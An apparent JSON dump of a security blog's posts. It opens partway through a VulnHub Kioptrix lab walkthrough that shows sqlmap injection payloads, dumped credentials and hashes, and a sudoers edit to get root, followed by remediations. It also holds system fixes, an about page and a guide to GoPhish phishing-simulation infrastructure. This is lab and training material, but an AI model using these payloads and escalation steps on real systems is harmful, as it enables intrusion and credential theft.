(FLOOR)\u0026#39; [01:14:09] [INFO] GET parameter \u0026#39;id\u0026#39; is \u0026#39;MySQL \u0026gt;= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)\u0026#39; injectable [01:14:09] [INFO] testing \u0026#39;MySQL inline queries\u0026#39; [01:14:09] [INFO] testing \u0026#39;MySQL \u0026gt;= 5.0.12 stacked queries (comment)\u0026#39; [01:14:09] [INFO] testing \u0026#39;MySQL \u0026gt;= 5.0.12 stacked queries\u0026#39; [01:14:09] [INFO] testing \u0026#39;MySQL \u0026gt;= 5.0.12 stacked queries (query SLEEP - comment)\u0026#39; [01:14:09] [INFO] testing \u0026#39;MySQL \u0026gt;= 5.0.12 stacked queries (query SLEEP)\u0026#39; [01:14:10] [INFO] testing \u0026#39;MySQL \u0026lt; 5.0.12 stacked queries (heavy query - comment)\u0026#39; [01:14:10] [INFO] testing \u0026#39;MySQL \u0026lt; 5.0.12 stacked queries (heavy query)\u0026#39; [01:14:10] [INFO] testing \u0026#39;MySQL \u0026gt;= 5.0.12 AND time-based blind (query SLEEP)\u0026#39; [01:14:20] [INFO] GET parameter \u0026#39;id\u0026#39; appears to be \u0026#39;MySQL \u0026gt;= 5.0.12 AND time-based blind (query SLEEP)\u0026#39; injectable [01:14:20] [INFO] testing \u0026#39;Generic UNION query (NULL) - 1 to 20 columns\u0026#39; [01:14:20] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [01:14:20] [INFO] \u0026#39;ORDER BY\u0026#39; technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [01:14:20] [INFO] target URL appears to have 6 columns in query [01:14:20] [INFO] GET parameter \u0026#39;id\u0026#39; is \u0026#39;Generic UNION query (NULL) - 1 to 20 columns\u0026#39; injectable GET parameter \u0026#39;id\u0026#39; is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 49 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: Boolean-based blind - Parameter replace (original value) Payload: id=(SELECT (CASE WHEN (9711=9711) THEN 1 ELSE (SELECT 4686 UNION SELECT 4072) END)) Type: error-based Title: MySQL \u0026gt;= 4.1 OR error-based - WHERE or HAVING clause (FLOOR) Payload: id=1 OR ROW(9531,3698)\u0026gt;(SELECT COUNT(*),CONCAT(0x716b7a6271,(SELECT (ELT(9531=9531,1))),0x7170627071,FLOOR(RAND(0)*2))x FROM (SELECT 8030 UNION SELECT 4604 UNION SELECT 6040 UNION SELECT 7170)a GROUP BY x) Type: time-based blind Title: MySQL \u0026gt;= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1 AND (SELECT 8287 FROM (SELECT(SLEEP(5)))ZBzS) Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x716b7a6271,0x534961684d747a4f454a41596a4f4d6f745259574a424748747a4944426142595368786c73577557,0x7170627071),NULL,NULL,NULL,NULL-- - --- [01:14:25] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 8.04 (Hardy Heron) web application technology: PHP, Apache 2.2.8, PHP 5.2.4 back-end DBMS: MySQL \u0026gt;= 4.1 [01:14:26] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 21 times [01:14:26] [INFO] fetched data logged to text files under \u0026#39;/home/redtalon/.local/share/sqlmap/output/10.10.10.103\u0026#39; [*] ending @ 01:14:26 /2021-05-01/ So there\u0026rsquo;s an injection vulnerability. I wanted to get some database and table names.\nsqlmap -u \u0026#34;http://10.10.10.103/gallery/gallery.php?id=1\u0026#34; --dbms=MySQL --current-db sqlmap -u \u0026#34;http://10.10.10.103/gallery/gallery.php?id=1\u0026#34; --dbms=MySQL -D gallery --tables +----------------------+ | dev_accounts | | gallarific_comments | | gallarific_galleries | | gallarific_photos | | gallarific_settings | | gallarific_stats | | gallarific_users | +----------------------+ I dumped out the database and found a few account credentials.\nsqlmap -u \u0026#34;http://10.10.10.103/gallery/gallery.php?id=1\u0026#34; --dbms=MySQL -D gallery --dump dev_accounts id,password,username 1,0d3eccfb887aabd50f243b3f155c0f85,dreg 2,5badcaf789d3d1d09794d8f021f40f0e,loneferret gallarific_users userid,email,photo,website,joincode,lastname,password,username,usertype,firstname,datejoined,issuperuser 1,\u0026lt;blank\u0026gt;,\u0026lt;blank\u0026gt;,\u0026lt;blank\u0026gt;,\u0026lt;blank\u0026gt;,User,n0t7t1k4,admin,superuser,Super,1302628616,1 The password hashes for the dev_accounts seem to MD5, so I cheated a bit and looked online to see if anyone had cracked these before.\ndreg:Mast3r loneferret:starwars I tried these on the web interface, but they didn\u0026rsquo;t work. So next I thought, I\u0026rsquo;ll try SSH.\nSUID Binary Abuse Both sets of credentials worked. From exploring when I was logged in as www-data, I know loneferret has more interesting files so I started there.\nWhen I tried to run sudo ht I got an error. Error opening terminal: xterm-256color. Setting the TERM environment variable to xterm seemed to fix that.\nI ran sudo ht again and it opened properly.\nSince loneferret can run this as sudo, I should be able to read /etc/shadow. I have dreg and loneferrets passwords, but we don\u0026rsquo;t have roots yet. This is the hash I extracted from the shadow file.\nroot:$1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1:15082:0:99999:7::: Since loneferret is already set up in the /etc/sudoers file, I should be able to simply add /bin/bash to allow him to run a shell as root without a password.\nRun sudo ht /etc/sudoers. Press F6 to change to text mode and F3 to open a file again. Select /etc/sudoers. Turns out opening it from the command line didn\u0026rsquo;t allow me to write to it.\nI changed the loneferret line to include /bin/bash.\nloneferret ALL=NOPASSWD: !/usr/bin/su, /usr/local/bin/ht\nloneferret ALL=NOPASSWD: !/usr/bin/su, /usr/local/bin/ht, /bin/bash\nI saved the file and ran sudo /bin/bash. I printed out the ip information, user we\u0026rsquo;re running as and the Congrats.txt file.\nRemediations The initial foothold exploit of LotusCMS 3.0 could be fixed by upgrading the software. Looks like it was last updated in 2011\u0026hellip;so probably best to switch to some supported CMS software.\nThe SQL injection would be fixed by sanitizing the user input. Ideally build parameterized queries. Similarly, it seems that this software is no longer supported so switching to a support gallery platform would be ideal.\n","permalink":"https://mikebosland.com/kioptrix-level-1-2-walkthrough/","summary":"\u003cp\u003eToday I wanted to keep working through the Kioptrix Level 1.2. I pulled the machine from \u003ca href=\"https://www.vulnhub.com/entry/kioptrix-level-12-3,24/\"\u003evulnhub\u003c/a\u003e and set it up on my ESXi lab network.\u003c/p\u003e","title":"Kioptrix Level 1.2 Walkthrough"},{"content":"I\u0026rsquo;m running Kali on an OLD Macbook Air. I ran an update today and was having trouble completing the initramfs update so I removed the old kernels and rebooted.\nOf course when the system came back up, the wifi adapter wasn\u0026rsquo;t working. Missing firmware. The Macbook is using a Broadcom 43224 device.\nAfter some troubleshooting and internet researching, I found I needed to install a brcmsmac package. Thanks to this debian wiki page. I grabbed an Alfa USB wireless adapter to get online in the meantime.\nThese are the commands I ran. Simple fix, just using apt-get and modprobe.\nsudo apt-get install firmware-brcm80211 modprobe -r brcmsmac modprobe brcmsmac The wifi adapter came back up after that. Just leaving this here in case it can help someone else too.\n","permalink":"https://mikebosland.com/how-to-fix-missing-bcm43224-firmware-in-kali/","summary":"\u003cp\u003eI\u0026rsquo;m running Kali on an OLD Macbook Air. I ran an update today and was having trouble completing the initramfs update so I removed the old kernels and rebooted.\u003c/p\u003e\n\u003cp\u003eOf course when the system came back up, the wifi adapter wasn\u0026rsquo;t working. Missing firmware. The Macbook is using a Broadcom 43224 device.\u003c/p\u003e\n\u003cp\u003eAfter some troubleshooting and internet researching, I found I needed to install a brcmsmac package. Thanks to this \u003ca href=\"https://wiki.debian.org/brcm80211\"\u003edebian wiki page\u003c/a\u003e. I grabbed an Alfa USB wireless adapter to get online in the meantime.\u003c/p\u003e","title":"How to Fix Missing bcm43224 Firmware in Kali"},{"content":"I\u0026rsquo;m a hacker, not a developer, but I\u0026rsquo;m starting to opensource some code I\u0026rsquo;ve written on Github.\n","permalink":"https://mikebosland.com/contact/","summary":"\u003cp\u003eI\u0026rsquo;m a hacker, not a developer, but I\u0026rsquo;m starting to opensource some code I\u0026rsquo;ve written on \u003ca href=\"https://github.com/mab538\"\u003eGithub\u003c/a\u003e.\u003c/p\u003e","title":"Contact"},{"content":"# whoami Viruses are fascinating. I\u0026rsquo;ve studied both biological viruses and computer viruses throughout my career. I think there\u0026rsquo;s an interesting parallel between the two.\nI\u0026rsquo;m always studying a new technique, tool or technology to learn how it works. My home lab is always changing.\nI hold a bachelor\u0026rsquo;s degree in Microbiology and I\u0026rsquo;m self taught in IT and Infosec.\n# echo work_experience I\u0026rsquo;m an information security professional. I\u0026rsquo;ve worked in both the public and private sector to secure sensitive systems from external and internal threat actors. I\u0026rsquo;ve designed security programs and policies from the ground up, managed servers and networks and identified bugs through bug bounty programs.\n# cat skills.md Policy Creation\nVulnerability Assessments (Nessus, Qualys, Greenbone)\nIDS/IPS/SIEM Tuning\nPenetration Testing\nRed Teaming\nAutomated Infrastructure\nSocial Engineering\nThreat Hunting\nVMware\nvyos/pfsense\nKali\nMetasploit\nnmap\npython\n# ls certifications # cat hobbies.txt I have a variety of non hacking hobbies. These may pop on here from time to time.\nPhotography - you can check out my instagram to see some of my photos Movies - I was an independent VFX artist on a few independent feature films and TV commercials - you can check out my IMDB Home automation - I run an OpenHAB set up throughout my house Ham radio and AREDN mesh networking - call sign KN6DWB 3D Printing - currently running a Creality CR-20 Electronics - Raspberry Pis, arduinos, ws2811b Music Tabletop RPGs ","permalink":"https://mikebosland.com/whoami/","summary":"\u003ch1 id=\"-whoami\"\u003e\u003ccode\u003e# whoami\u003c/code\u003e\u003c/h1\u003e\n\u003cp\u003eViruses are fascinating. I\u0026rsquo;ve studied both biological viruses and computer viruses throughout my career. I think there\u0026rsquo;s an interesting parallel between the two.\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;m always studying a new technique, tool or technology to learn how it works. My home lab is always changing.\u003c/p\u003e\n\u003cp\u003eI hold a bachelor\u0026rsquo;s degree in Microbiology and I\u0026rsquo;m self taught in IT and Infosec.\u003c/p\u003e\n\u003ch2 id=\"-echo-work_experience\"\u003e\u003ccode\u003e# echo work_experience\u003c/code\u003e\u003c/h2\u003e\n\u003cp\u003eI\u0026rsquo;m an information security professional. I\u0026rsquo;ve worked in both the public and private sector to secure sensitive systems from external and internal threat actors. I\u0026rsquo;ve designed security programs and policies from the ground up, managed servers and networks and identified bugs through bug bounty programs.\u003c/p\u003e","title":"whoami"},{"content":"Since I use terraform to clone and provision VMs on ESXi, I need to use VMWare\u0026rsquo;s ovftool. However, I\u0026rsquo;ve been having errors lately. The OVFTool wants to install using python2, and I keep getting syntax errors. Seems like it\u0026rsquo;s using my Python3 install and I can\u0026rsquo;t get it to install.\nIf we cannot install the ovftool via the conventional way, we have to find a detour or a workaround to get there. For this particular issue with the failed installation on Ubuntu 20.04, this means extracting the ovftool files from the installation .bundle, copying them to /usr/bin/ and configure an alias for the ovftool executable.\nExecute ovftool without installing it This is how it works step-by-step:\nExtract the files and change into directory ovftool (you can name the extracted directory as you want):\nsudo ./VMware-ovftool-4.4.1-16812187-lin.x86_64.bundle --extract ovftool \u0026amp;\u0026amp; cd ovftool ls -rtl total 16K drwxr-xr-x 4 root root 4,0K Mär 9 14:07 . drwxr-xr-x 5 rguske domain^users 4,0K Mär 9 14:07 .. drwxr-xr-x 9 root root 4,0K Mär 9 14:07 vmware-installer drwxr-xr-x 6 root root 4,0K Mär 9 14:07 vmware-ovftool Here’s what’s in it: $ tree -L 2 . ├── vmware-installer │ ├── artwork │ ├── bin │ ├── bootstrap │ ├── lib │ ├── manifest.xml │ ├── python │ ├── sopython │ ├── vmis │ ├── vmis-launcher │ ├── vmware-installer │ ├── vmware-installer.py │ ├── vmware-uninstall │ └── vmware-uninstall-downgrade └── vmware-ovftool ├── certs ├── env ├── icudt44l.dat ├── libcares.so.2 ├── libcrypto.so.1.0.2 ├── libcurl.so.4 ├── libexpat.so ├── libgcc_s.so.1 ├── libgoogleurl.so.59 ├── libicudata.so.60 ├── libicuuc.so.60 ├── libssl.so.1.0.2 ├── libssoclient.so ├── libstdc++.so.6 ├── libvim-types.so ├── libvmacore.so ├── libvmomi.so ├── libxerces-c-3.2.so ├── libz.so.1 ├── manifest.xml ├── open_source_licenses.txt ├── ovftool ├── ovftool.bin ├── README.txt ├── schemas ├── vmware.eula └── vmware-eula.rtf 11 directories, 31 files Move the vmware-ovftool directory to /usr/bin/:\nsudo mv vmware-ovftool /usr/bin/ Make the two files ovftool as well as ovftool.bin executable:\nsudo chmod +x /usr/bin/vmware-ovftool/ovftool.bin sudo chmod +x /usr/bin/vmware-ovftool/ovftool Configure an alias for your used shell to execute it as usual:\nalias ovftool=/usr/bin/vmware-ovftool/ovftool This allows me to run the ovftool as usual.\n","permalink":"https://mikebosland.com/installing-ovftool/","summary":"\u003cp\u003eSince I use terraform to clone and provision VMs on ESXi, I need to use VMWare\u0026rsquo;s ovftool. However, I\u0026rsquo;ve been having errors lately. The OVFTool wants to install using python2, and I keep getting syntax errors. Seems like it\u0026rsquo;s using my Python3 install and I can\u0026rsquo;t get it to install.\u003c/p\u003e\n\u003cp\u003eIf we cannot install the ovftool via the conventional way, we have to find a detour or a workaround to get there. For this particular issue with the failed installation on Ubuntu 20.04, this means extracting the ovftool files from the installation .bundle, copying them to /usr/bin/ and configure an alias for the ovftool executable.\u003c/p\u003e","title":"How To Install OVFTool on Ubuntu 20.04 with Python3"},{"content":"For my home network, I\u0026rsquo;ve been trying to transitioning to using an Infrastructure-as-code (IaC) approach based on a terraform and the terraform esxi provider plugin. I maintain a few \u0026ldquo;gold images\u0026rdquo; of the base line systems, then clone and provision as needed.\nI\u0026rsquo;m not sure where the root cause of this issue is, but I\u0026rsquo;ve seen it pop up a few times now so I figured I\u0026rsquo;d write down how I\u0026rsquo;ve fixed it.\nThe Problem On Ubuntu, when I mistype a command, I get a command-not-found, sqlite error message. Something to this effect\nunable to open database file Traceback (most recent call last): File \u0026#34;/usr/lib/python3/dist-packages/CommandNotFound/util.py\u0026#34;, line 23, in crash_guard callback() File \u0026#34;/usr/lib/command-not-found\u0026#34;, line 90, in main cnf = CommandNotFound.CommandNotFound(options.data_dir) File \u0026#34;/usr/lib/python3/dist-packages/CommandNotFound/CommandNotFound.py\u0026#34;, line 79, in __init__ self.db = SqliteDatabase(dbpath) File \u0026#34;/usr/lib/python3/dist-packages/CommandNotFound/db/db.py\u0026#34;, line 12, in __init__ self.con = sqlite3.connect(filename) sqlite3.OperationalError: unable to open database file The Fix Reinstalling the command-not-found package and adjusting the permissions seems to fix it. You can do this on Ubuntu with the following 2 commands.\nsudo apt install --reinstall command-not-found sudo chmod -R o+r /var/lib/command-not-found/ If I ever find out what is causing this, I\u0026rsquo;ll update this post. Or if anyone reading this knows, feel free to leave it in the comments.\n","permalink":"https://mikebosland.com/command-not-found-unable-to-open-database/","summary":"\u003cp\u003eFor my home network, I\u0026rsquo;ve been trying to transitioning to using an Infrastructure-as-code (IaC) approach based on a terraform and the terraform esxi provider plugin. I maintain a few \u0026ldquo;gold images\u0026rdquo; of the base line systems, then clone and provision as needed.\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;m not sure where the root cause of this issue is, but I\u0026rsquo;ve seen it pop up a few times now so I figured I\u0026rsquo;d write down how I\u0026rsquo;ve fixed it.\u003c/p\u003e","title":"How To Fix Ubuntu command-not-found sqlite errors"},{"content":"I perform quarterly phishing awareness simulations for one of my consulting clients so I needed a way to easily recreate my phishing infrastructure. This is heavily inspired from this ired.team\u0026rsquo;s blog post. Just customized for my simple needs.\nYou can check out the code I\u0026rsquo;m using on GitHub.\nOverview For these assessments, I typically don\u0026rsquo;t worry about bypassing two-factor or anything fancy.\nGoPhish Is the heart of this set up.\nGoPhish sends (and tracks) the phishing emails and user actions. It also serves the landing page/captures credentials. This GoPhish server can be long term or backup the database and blow away the instance between engagements.\nThe virtual servers are hosted with DigitalOcean. You can use this link to get $100 when you sign up (note: this is a referral link). The servers are built and configured using terraform to make the process easily repeatable.\nDNS Records A few DNS records are set up automatically. The domains MX record is set to mail.domain_rdir. SPF and a DKIM placeholder are configured. The finalize.sh script will output the final DKIM string. This will need to be manually added in the DigitalOcean interface.\nPurpose Variable Name mail this is static, points to the phishing_rdr droplet phishing_subdomain1 This is how I log into the GoPhish interface phishing_subdomain2 This is the URL for the landing page when building a GoPhish campaign Firewall Rules We\u0026rsquo;re going to configure some firewall rules to secure the infrastructure.\nOnly the operator_ip can log in over SSH using the configured SSH Keys. The GoPhish server can only send SMTP traffic to the phishing_rdr server The servers can reach out to any DNS server Any IP can access the HTTP/HTTPS ports. Ideally you should narrow this down if you know the IP range of your target network. Only the operator_ip can access the GoPhish admin port (3333) High Level Traffic Flow The Operator logs in to GoPhish over HTTPS on port 3333 Once the campaign is ready, the GoPhish server will send out the emails to the SMTP relay on the phishing_rdr server The phishing_rdr server will strip sensitive headers from the email and send the emails to the targets Once the user opens and clicks on a link in the phishing email, the user will be sent to phishing_subdomain2.domain_rdir. The phishing_rdr server will relay the target\u0026rsquo;s request using socat to the GoPhish server. The GoPhish server will present the HTTPS SSL certificates and the landing page to the user Installation and Initial Use Create your DigitalOcean account and create a domain in the DigitalOcean interface. You need to have terraform installed. Create a new SSH keypair. You don\u0026rsquo;t want to set a passphrase. Store both the public and private keys in ~/.ssh ssh-keygen -t rsa Clone the repo here Copy variables_sample.tf to varaibles.tf Edit variables.tf. Include your DigitalOcean API key, specific domain and desired subdomains. Run terraform apply to see what terraform will do when executed. This is a good chance to catch any errors if there are any. If everything looks good, run terraform apply and type yes when prompted. Wait\u0026hellip;it shouldn\u0026rsquo;t be too long\u0026hellip; Run the script finalize.sh. This will log into these new instances over SSH and set up DKIM and LetsEncrypt SSL certificates. While you wait for the systems to reboot (should have been started in the finalize.sh script, otherwise manually reboot them) - enter the DKIM string output by the finalize.sh script into the DKIM TXT record in the DigitalOcean interface. Now you should be able to SSH into you 2 new systems with the following commands. ssh -i ~/.ssh/id_rsa root@\u0026lt;phishing_subdomain1.domain_rdir\u0026gt; ssh -i ~/.ssh/id_rsa root@mail.\u0026lt;domain_rdir\u0026gt; NOTE: SSH is only accessible from the IP address configured in the operator_ip variable using the SSH keys you generated above.\nLog into the GoPhish server (phishing_subdomain1.domain_rdir). Navigate to /opt/gophish/ and view the gophish.log file. This will have the username and password required to log into the gophish interface. Log into the GoPhish interface at https://phishing_subdomain1.domain_rdir:3333. This port is only accessible from the IP address configured in the operator_ip variable. You will be required to change the password when you first log in. Phish and raise user awareness. Backing Up GoPhish database The data from gophish is stored in /opt/gophish/gophish.db. This file can be downloaded and restored when rebuilding a new GoPhish instance.\nFuture Improvements In the future, as time and need arises, I\u0026rsquo;d like to expand this set up to include the following items.\nIncorporate an additional HTTP/Phishing/Payload server. This could run evilginx2 to handle modern two factor logins. Add a C2 setup to enable phishing with beacon/implant payloads. This would require a redirector as well to prevent the target system from identifying the long term C2 server. ","permalink":"https://mikebosland.com/hello-world/","summary":"\u003cp\u003eI perform quarterly phishing awareness simulations for one of my consulting clients so I needed a way to easily recreate my phishing infrastructure. This is heavily inspired from this \u003ca href=\"https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform\"\u003eired.team\u0026rsquo;s blog post\u003c/a\u003e. Just customized for my simple needs.\u003c/p\u003e\n\u003cp\u003eYou can check out the code I\u0026rsquo;m using on \u003ca href=\"https://github.com/mab538/redteam_infrastructure\"\u003eGitHub\u003c/a\u003e.\u003c/p\u003e","title":"Simple Automated Phishing Infrastructure on DigitalOcean"}]